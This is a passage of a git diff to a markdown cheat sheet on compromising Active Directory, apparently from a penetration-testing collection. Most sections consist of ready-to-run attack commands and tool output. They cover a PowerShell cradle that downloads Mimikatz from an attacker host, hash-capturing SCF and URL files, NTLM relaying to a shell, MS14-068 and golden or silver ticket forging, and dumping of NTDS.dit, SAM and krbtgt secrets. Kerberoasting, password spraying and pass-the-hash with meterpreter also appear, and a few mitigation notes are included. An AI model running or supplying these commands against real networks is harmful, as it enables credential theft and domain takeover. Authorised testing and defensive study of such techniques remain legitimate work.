--server-port 80 ``` +* [Mitm6](https://github.com/fox-it/mitm6.git) + + ```bash + git clone https://github.com/fox-it/mitm6.git && cd mitm6 + pip install . + mitm6 -d lab.local + ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i + # -wh: Server hosting WPAD file (Attacker’s IP) + # -t: Target (You cannot relay credentials to the same device that you’re spoofing) + # -i: open an interactive shell + ``` + * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) ```powershell @@ -66,35 +124,149 @@ powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');" ``` +* [ADRecon](https://github.com/sense-of-security/ADRecon) + + ```powershell + .\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser + ``` + * [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script) + ```powershell + powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 + ``` + +* [Ping Castle](https://github.com/vletoux/pingcastle) + + ```powershell + pingcastle.exe --healthcheck --server --user --password --advanced-live --nullsession + pingcastle.exe --healthcheck --server domain.local + pingcastle.exe --graph --server domain.local + pingcastle.exe --scanner scanner_name --server domain.local + available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup + ``` + +* [Kerbrute](https://github.com/ropnop/kerbrute) + + ```powershell + ./kerbrute passwordspray -d + ``` + +* [Rubeus](https://github.com/GhostPack/Rubeus) + + ```powershell + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] + Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] + Rubeus.exe klist [/luid:LOGINID] + Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] + ``` + +* [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab) + ```powershell + New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV + Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD' + Install-Lab + Show-LabDeploymentSummary + ``` + ## Most common paths to AD compromise ### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) +This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine. + +```powershell +# remote +rpcclient $> lookupnames john.smith +john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1) + +# loc +wmic useraccount get name,sid +Administrator S-1-5-21-3415849876-833628785-5197346142-500 +Guest S-1-5-21-3415849876-833628785-5197346142-501 +Administrator S-1-5-21-297520375-2634728305-5197346142-500 +Guest S-1-5-21-297520375-2634728305-5197346142-501 +krbtgt S-1-5-21-297520375-2634728305-5197346142-502 +lambda S-1-5-21-297520375-2634728305-5197346142-1110 + +# powerview +Convert-NameToSid high-sec-corp.localkrbtgt +S-1-5-21-2941561648-383941485-1389968811-502 +``` + ```bash -Exploit Python: https://www.exploit-db.com/exploits/35474/ Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068 +``` + +Generate a ticket with `metasploit` or `pykek` + +```powershell Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL + PASSWORD P@ssw0rd yes The Domain User password + RHOSTS 10.10.10.10 yes The target address range or CIDR identifier + RPORT 88 yes The target port + Timeout 10 yes The TCP timeout to establish connection and read data + USER lambda yes The Domain User + USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000 +``` -git clone https://github.com/bidord/pykek -python ./ms14-068.py -u @ -s -d -p -python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org +```powershell +# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek +$ git clone https://github.com/SecWiki/windows-kernel-exploits +$ python ./ms14-068.py -u @ -s -d -p +$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org +$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10 +$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066 +-1105 + [+] Building AS-REQ for msfdc01.metasploitable.local... Done! + [+] Sending AS-REQ to msfdc01.metasploitable.local... Done! + [+] Receiving AS-REP from msfdc01.metasploitable.local... Done! + [+] Parsing AS-REP from msfdc01.metasploitable.local... Done! + [+] Building TGS-REQ for msfdc01.metasploitable.local... Done! + [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done! + [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done! + [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done! + [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done! +``` + +Then use `mimikatz` to load the ticket. + +```powershell mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache" ``` +:warning: If the clock is skewed use `clock-skew.nse` script from `nmap` + +```powershell +Linux> $ nmap -sV -sC 10.10.10.10 +clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s + +Linux> sudo date -s "14 APR 2015 18:25:16" +Windows> net time /domain /set +``` + +#### Mitigations + +* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780 + + ### Open Shares ```powershell -smbmap -H 10.10.10.100 # null session -smbmap -H 10.10.10.100 -R # recursive listing -smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 +smbmap -H 10.10.10.10 # null session +smbmap -H 10.10.10.10 -R # recursive listing +smbmap -H 10.10.10.10 -u invaliduser # guest smb session +smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 ``` or ```powershell pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share +pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$ ls # list files cd # move inside a folder get # download files @@ -119,23 +291,59 @@ cd Folder # move inside a folder ls # list files ``` +Download a folder recursively + +```powershell +smbclient -U username //10.0.0.1/SYSVOL +smbclient //10.0.0.1/Share +smb: \> mask "" +smb: \> recurse ON +smb: \> prompt OFF +smb: \> lcd '/path/to/go/' +smb: \> mget * +``` + Mount a share ```powershell smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw +sudo mount -t cifs -o username=,password= ///Users folder ``` -### GPO - Pivoting with Local Admin & Passwords in SYSVOL +### SCF and URL file attack against writeable share + +Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0` + +```powershell +[Shell] +Command=2 +IconFile=\\10.10.XX.XX\Share\test.ico +[Taskbar] +Command=ToggleDesktop +``` + +This attack also works with `.url` files and `responder -I eth0 -v`. + +```powershell +[InternetShortcut] +URL=whatever +WorkingDirectory=whatever +IconFile=\\192.168.1.29\%USERNAME%.icon +IconIndex=1 +``` + + +### Passwords in SYSVOL & Group Policy Preferences :triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local -Find password in SYSVOL +Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\\SYSVOL\\Policies\`. ```powershell findstr /S /I cpassword \\\sysvol\\policies\*.xml ``` -Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)) +Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx) ```bash echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 @@ -146,20 +354,22 @@ echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 ``` -Metasploit modules to enumerate shares and credentials +#### Automate the SYSVOL and passwords research -```c -scanner/smb/smb_enumshares -post/windows/gather/enum_shares -post/windows/gather/credentials/gpp -``` +* Metasploit modules to enumerate shares and credentials -Crackmapexec modules + ```c + scanner/smb/smb_enumshares + post/windows/gather/enum_shares + post/windows/gather/credentials/gpp + ``` -```powershell -cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin -cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password -``` +* Crackmapexec modules + + ```powershell + cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin + cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password + ``` List all GPO for a domain @@ -172,7 +382,17 @@ Get-NetGPO Get-NetGPOGroup ``` -### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit) +#### Mitigations + +* Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences. +* Delete existing GPP xml files in SYSVOL containing passwords. +* Don’t put passwords in files that are accessible by all authenticated users. + +### Dumping AD Domain Credentials + +You will need the following files to extract the ntds : +- ntds file (C:\Windows\NTDS\ntds.dit) +- SYSTEM hive (C:\Windows\System32\SYSTEM) #### Using ndtsutil @@ -185,6 +405,12 @@ ifm: quit ntdsutil: quit ``` +or + +```powershell +ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q +``` + #### Using Vshadow ```powershell @@ -227,9 +453,17 @@ dir c:\exfil reg.exe save hklm\system c:\exfil\system.bak ``` +#### Using esentutl.exe + +Copy/extract a locked file such as the AD Database + +```powershell +esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit +``` + #### Extract hashes from ntds.dit -then you need to use secretsdump to extract the hashes +then you need to use secretsdump to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit ```java secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL @@ -260,6 +494,78 @@ CrackMapExec module ```powershell cme smb 10.10.0.202 -u username -p password --ntds vss +cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default +``` + +#### Using Mimikatz DCSync + +Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. + +```powershell +mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt +``` + +:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default. + +#### Using Mimikatz sekurlsa + +Dumps credential data in an Active Directory domain when run on a Domain Controller. +:warning: Requires administrator access with debug or Local SYSTEM rights + +```powershell +sekurlsa::krbtgt +lsadump::lsa /inject /name:krbtgt +``` + + +### Password spraying + +Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. + +> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. + +Most of the time the best passwords to spray are : + +- Password123 +- Welcome1 +- $Companyname1 : $Microsoft1 +- SeasonYear : Winter2019* +- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#) + +#### Kerberos pre-auth bruteforcing + +Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing. + +> Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771). + +```powershell +root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt +root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123 +root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt +``` + +#### Spray a pre-generated passwords list + +Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network. + +```powershell +crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)` +``` + +#### Spray passwords against the RDP service + +Using RDPassSpray to target RDP services. + +```powershell +git clone https://github.com/xFreed0m/RDPassSpray +python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP] +``` + +Using hydra and ncrack to target RDP services. + +```powershell +hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10 +ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10 ``` ### Password in AD User comment @@ -268,33 +574,42 @@ cme smb 10.10.0.202 -u username -p password --ntds vss enum4linux | grep -i desc There are 3-4 fields that seem to be common in most AD schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password. + +Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID +``` +or dump the Active Directory and `grep` the content. + +```powershell +ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/ ``` -### PassTheTicket Golden Tickets +### Pass-the-Ticket Golden Tickets + +Forging a TGT require the krbtgt NTLM hash -Forging a TGT require the krbtgt key +> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used. -Mimikatz version +#### Using Mimikatz ```powershell -Get info - Mimikatz +# Get info - Mimikatz lsadump::dcsync /user:krbtgt lsadump::lsa /inject /name:krbtgt -Forge a Golden ticket - Mimikatz +# Forge a Golden ticket - Mimikatz kerberos::purge kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt kerberos::tgt ``` -Meterpreter version +#### Using Meterpreter ```powershell -Get info - Meterpreter(kiwi) +# Get info - Meterpreter(kiwi) dcsync_ntlm krbtgt dcsync krbtgt -Forge a Golden ticket - Meterpreter +# Forge a Golden ticket - Meterpreter load kiwi golden_ticket_create -d -k -s -u -t golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck @@ -303,50 +618,58 @@ kerberos_ticket_use /root/Downloads/pentestlabuser.tck kerberos_ticket_list ``` -Using a ticket on Linux +#### Using a ticket on Linux ```powershell -Convert the ticket kirbi to ccache with kekeo +# Convert the ticket kirbi to ccache with kekeo misc::convert ccache ticket.kirbi -Alternatively you can use ticketer from Impacket +# Alternatively you can use ticketer from Impacket ./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519 ./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519 - export KRB5CCNAME=/home/user/ticket.ccache cat $KRB5CCNAME +# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file +./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 +``` + +If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`. -NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file -./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100 +```powershell +root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi +Converting ccache => kirbi +root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache +Converting kirbi => ccache ``` -### PassTheTicket Silver Tickets +### Pass-the-Ticket Silver Tickets -Forging a TGS require machine accound password (key) from the KDC +Forging a TGS require machine accound password (key) or NTLM hash from the KDC ```powershell -Create a ticket for the service -kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE +# Create a ticket for the service +mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE -Then use the same steps as a Golden ticket -misc::convert ccache ticket.kirbi -export KRB5CCNAME=/home/user/ticket.ccache -./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100 -``` +# Examples +mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt +mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park -### Trust Tickets +# Then use the same steps as a Golden ticket +mimikatz $ misc::convert ccache ticket.kirbi -TODO +root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache +root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 +``` -### Kerberoast +### Kerberoasting > "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names) -Any valid domain user can request a kerberos ticket for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. +Any valid domain user can request a kerberos ticket (TGS) for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. ```powershell $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request @@ -360,6 +683,18 @@ active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC= $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2 ``` +Alternatively with [Rubeus](https://github.com/GhostPack/Rubeus) + +```powershell +.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt +``` + +Alternatively on macOS machine you can use [bifrost](https://github.com/its-a-feature/bifrost) + +```powershell +./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true +``` + Then crack the ticket with hashcat or john ```powershell @@ -367,9 +702,65 @@ hashcat -m 13100 -a 0 hash.txt crackstation.txt ./john ~/hash.txt --wordlist=rockyou.lst ``` +Mitigations: +* Have a very long password for your accounts with SPNs (> 25 characters) +* Make sure no users have SPNs + +### KRB_AS_REP Roasting + +If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting + +Prerequisite: +- Accounts have to have **DONT_REQ_PREAUTH** + +```powershell +C:\>git clone https://github.com/GhostPack/Rubeus#asreproast +C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast + + ______ _ +(_____ \ | | + _____) )_ _| |__ _____ _ _ ___ +| __ /| | | | _ \| ___ | | | |/___) +| | \ \| |_| | |_) ) ____| |_| |___ | +|_| |_|____/|____/|_____)____/(___/ + +v1.3.4 + + +[*] Action: AS-REP roasting + +[*] Target User : TestOU3user +[*] Target Domain : testlab.local + +[*] SamAccountName : TestOU3user +[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local +[*] Using domain controller: testlab.local (192.168.52.100) +[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' +[*] Connecting to 192.168.52.100:88 +[*] Sent 169 bytes +[*] Received 1437 bytes +[+] AS-REQ w/o preauth successful! +[*] AS-REP hash: + + $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... + +C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast +``` + +Using `impacket` to get the hash and `hashcat` to crack it. + +```powershell +# extract hashes +root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast +root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast + +# crack AS_REP messages +root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt +``` + ### Pass-the-Hash -The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. +The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500. ```powershell use exploit/windows/smb/psexec @@ -381,36 +772,62 @@ set SMBPass nastyCutt3r set PAYLOAD windows/meterpreter/bind_tcp run shell +``` or with crackmapexec + +```powershell cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami" also works with net range : cme smb 10.2.0.2/24 ... +``` or with psexec + +```powershell proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d +``` or with the builtin Windows RDP and mimikatz +```powershell sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" ``` +You can extract the local SAM database to find the local administrator hash : + +```powershell +C:\> reg.exe save hklm\sam c:\temp\sam.save +C:\> reg.exe save hklm\security c:\temp\security.save +C:\> reg.exe save hklm\system c:\temp\system.save +$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL +``` + + ### OverPass-the-Hash (pass the key) -Request a TGT with only the NT hash +Request a TGT with only the NT hash then you can connect to the machine using the TGT. + +#### Using impacket ```powershell -Using impacket -./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com -chmod 600 tgwynn.ccache +root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com +root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache +root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass also with the AES Key if you have it -./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com - +root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5 kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM klist ``` +#### Using Rubeus + +```powershell +C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt +C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd +``` + ### Capturing and cracking NTLMv2 hashes If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network. @@ -427,15 +844,138 @@ hashcat -m 5600 -a 0 hash.txt crackstation.txt ### NTLMv2 hashes relaying +NTLMv1 and NTLMv2 can be relayed to connect to another machine. + +| Hash | Hashcat | Attack method | +|---|---|---| +| LM | 3000 | crack/pass the hash | +| NTLM/NTHash | 1000 | crack/pass the hash | +| NTLMv1/Net-NTLMv1 | 5500 | crack/relay attack | +| NTLMv2/Net-NTLMv2 | 5600 | crack/relay attack | + +#### MS08-068 NTLM reflection + +NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008. + +> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials. + +* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068 + +```powershell +msf > use exploit/windows/smb/smb_relay +msf exploit(smb_relay) > show targets +``` + +#### SMB Signing Disabled and IPv4 + If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. 1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`. + ```powershell + [Responder Core] + ; Servers to start + ... + SMB = Off # Turn this off + HTTP = Off # Turn this off + ``` 2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`. 3. Run `python Responder.py -I ` and `python MultiRelay.py -t -u ALL` -4. Wait for a shell +4. Also you can use `ntlmrelayx` to dump the SAM database of the targets in the list. + ```powershell + ntlmrelayx.py -tf targets.txt + ``` +5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions. + ```powershell + $ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support + [*] Servers started, waiting for connections + Type help for list of commands + ntlmrelayx> socks + Protocol Target Username Port + -------- -------------- ------------------------ ---- + MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433 + SMB 192.168.48.230 CONTOSO/NORMALUSER1 445 + MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433 + + $ proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1 + $ proxychains mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth + ``` + +Mitigations: + + * Disable LLMNR via group policy + ```powershell + Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled + ``` + * Disable NBT-NS + ```powershell + This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP + ``` + +#### SMB Signing Disabled and IPv6 + +Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS. + +```powershell +cme smb $hosts --gen-relay-list relay.txt + +# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6 +mitm6 -i eth0 -d $domain + +# spoofing WPAD and relaying NTLM credentials +http://ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt +or +http://ntlmrelayx.py -6 -wh $attacker_ip -l /tmp -socks -debug +``` + +#### Drop the MIC + +> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP + +Check 